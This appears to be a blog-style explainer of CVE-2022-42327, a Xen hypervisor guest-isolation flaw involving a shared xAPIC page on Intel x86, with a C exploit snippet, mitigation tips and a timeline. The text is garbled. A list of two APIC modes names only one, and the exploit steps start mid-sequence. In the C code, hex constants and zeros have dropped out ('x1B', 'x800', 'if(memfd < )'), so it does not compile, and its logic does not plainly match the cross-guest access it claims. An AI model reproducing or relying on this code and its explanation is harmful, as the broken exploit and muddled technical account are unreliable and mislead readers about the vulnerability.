CVE-2022-42327 - Breaking Guest Isolation on Intel x86 via xAPIC Page Sharing

A critical vulnerability, tracked as CVE-2022-42327, exposes a flaw in the memory isolation mechanism of Xen hypervisor on Intel x86 systems. When Intel’s “Virtualize APIC accesses” feature is enabled, a crafty guest can access a shared section of memory—the xAPIC page—that should stay private. But things don’t go as planned, and the result is an attack that could let a guest spy on or tamper with another.

Let’s walk through what CVE-2022-42327 is, how the exploit works, and what defenders need to do.

Background: What’s the xAPIC and Why Does it Matter?

The APIC (Advanced Programmable Interrupt Controller) is a hardware feature on x86 CPUs that helps the operating system manage interrupts. There are two modes:

x2APIC mode: Newer, uses special registers.

Normally, each VM guest gets its own private APIC emulation. APIC virtualization features (like Intel's APICv) speed up this process and help with isolation.

The Xen hypervisor should *never* let one guest see or write APIC data belonging to another. But CVE-2022-42327 breaks this promise.

Here’s the problem: Intel CPUs that support “virtualize APIC accesses” use a mechanism where the hypervisor maps a single shared xAPIC memory page for all guests.

If a guest OS disables “xAPIC mode” on its own virtual CPU, Xen stops handling APIC accesses like before. Instead, the guest’s memory accesses go straight to the physical xAPIC page—which is shared globally across the system.

Official Advisory

Read the original Xen Security Advisory XSA-421.

Access the xAPIC page: Memory operations to the xAPIC page now target the global shared page.

3. Read or write data: Since the mapping is shared, the attacker can snoop on or change another VM’s APIC state.

Here’s a simplified C snippet showing how a guest might exploit the bug

#include <stdint.h>
#include <stdio.h>
#include <x86intrin.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

// APIC base MSR
#define MSR_IA32_APICBASE x1B
#define APIC_BASE_ADDRESS xFEE00000

void disable_xapic_mode() {
    uint64_t apic_base = __rdmsr(MSR_IA32_APICBASE);
    apic_base &= ~x800; // Clear the enable bit for xAPIC mode
    __wrmsr(MSR_IA32_APICBASE, apic_base);
    printf("xAPIC mode disabled!\n");
}

void access_shared_xapic() {
    volatile uint32_t *apic_page;
    int memfd = open("/dev/mem", O_RDWR | O_SYNC);
    if(memfd < ) { perror("open"); return; }
    apic_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, memfd, APIC_BASE_ADDRESS);
    if(apic_page == MAP_FAILED) { perror("mmap"); close(memfd); return; }

    printf("APIC ID: %08x (should be guest-private, but leaks info!)\n", apic_page[x20/4]);
    // Potentially write or further sniff
    munmap((void*)apic_page, 4096);
    close(memfd);
}

int main() {
    disable_xapic_mode();
    access_shared_xapic();
    return ;
}

> Note: This code may require adaptation for guest environments and additional privileges but shows the general approach.

Mitigation & Fix

If you run Intel x86 systems with Xen, patch right away!

- Xen Project: Get latest security update from Xen’s downloads page.
- Disable APICv: As a temporary workaround, disable “virtualize APIC accesses” in your VM configuration (consult your hypervisor documentation).

Summary

CVE-2022-42327 is a serious flaw in the way Xen handles memory isolation when Intel’s APIC virtualization is used. By toggling APIC modes, a guest can tap into a supposedly private space—undoing years of VM isolation work. The lesson: never trust that hardware features are “secure-by-default.” Patch early, patch often.

Timeline

Published on: 11/01/2022 13:15:00 UTC
Last modified on: 01/20/2023 02:39:00 UTC